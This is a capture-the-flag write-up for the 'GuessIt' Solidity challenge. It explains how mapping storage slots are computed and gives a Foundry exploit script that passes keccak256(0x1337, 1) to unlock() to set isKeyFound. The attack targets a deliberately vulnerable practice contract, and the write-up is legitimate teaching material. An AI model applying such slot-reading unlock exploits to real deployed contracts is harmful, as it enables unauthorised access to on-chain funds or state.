Writeup for GuessIt
- Before diving into this writeup, it’s crucial to have a solid understanding of Foundry, a powerful framework for Ethereum smart contract development. Foundry will be your primary tool for writing, testing, and breaking contracts in this guide.
Challenge Description
Santa Clause has been kidnapped and is kept in a secret dungeon, can u unlock this contract and save him?
Author: MaanVad3r
The Challenge and Exploit
The below are source contracts
- GuessIt contract
1pragma solidity ^0.8.20;
2
3contract EasyChallenge {
4 uint constant isKey = 0x1337;
5
6 bool public isKeyFound;
7 mapping (uint => bytes32) keys;
8
9 constructor() {
10 keys[isKey] = keccak256(
11 abi.encodePacked(block.number, msg.sender)
12 );
13 }
14
15 function unlock(uint slot) external {
16 bytes32 key;
17 assembly {
18 key := sload(slot)
19 }
20 require(key == keys[isKey]);
21 isKeyFound = true;
22 }
23}
- Setup contract
1pragma solidity ^0.8.20;
2
3import "./GuessIt.sol";
4
5contract Setup {
6 EasyChallenge public challengeInstane;
7
8 constructor() {
9 challengeInstane = new EasyChallenge();
10 }
11
12 function isSolved() public view returns (bool) {
13 return challengeInstane.isKeyFound();
14 }
15}
Our task is to make the Setup:isSolved
function return true. This function will return true if the GuessIt:isKeyFound
function returns true. Therefore, to solve this challenge, we need to make GuessIt:isKeyFound
return true.
1function unlock(uint slot) external {
2 bytes32 key;
3 assembly {
4 key := sload(slot)
5 }
6 require(key == keys[isKey]);
7 isKeyFound = true;
8}
isKeyFound
is set to true
only in this function. To call this function, we need to pass the storage slot address as a parameter. The function will load the content from the given slot and compare it with the value stored in the keys
mapping for the key isKey
(which is 0x1337
).
Technically, we need to pass the storage slot where the keys
mapping holds the value for the key 0x1337
. If the content in that slot matches, the isKeyFound
variable will be set to true.
The storage slot of any mapping can be calculated using the formula keccak256(key, slot)
, where key
is the key you are looking for in the mapping, and slot
is the position of the mapping variable itself in the contract’s storage layout. The resulting hash points to the specific storage slot for the given key within the mapping.
In the GuessIt
contract, isKey
is a constant variable, which means it’s not stored in the contract’s storage. Instead, its value (in this case, 0x1337
) is embedded directly in the contract’s bytecode. The isKeyFound
variable is stored in storage slot 0, while the keys
mapping starts at storage slot 1. To find the specific value in the keys mapping for the key 0x1337
, we calculate the storage slot using keccak256(0x1337, 1)
.
The below is the Exploit script.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Script} from "lib/forge-std/src/Script.sol";
5
6interface IEasyChallenge{
7 function unlock(uint slot) external;
8 function isKey()external view returns(uint256);
9}
10
11interface ISetup{
12 function challengeInstane() external view returns(IEasyChallenge);
13
14}
15contract ExploitGuess is Script{
16 ISetup setup;
17 uint constant isKey = 0x1337;
18 uint baseSlot = 1;
19 function run()public{
20 address _setup=address(/* YOUR_SETUP_ADDRESS */);
21 vm.startBroadcast();
22 setup=ISetup(_setup);
23 IEasyChallenge challenge=setup.challengeInstane();
24 uint256 slot=uint256(keccak256(abi.encodePacked(isKey, baseSlot)));
25 challenge.unlock(slot);
26 vm.stopBroadcast();
27 }
28}
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments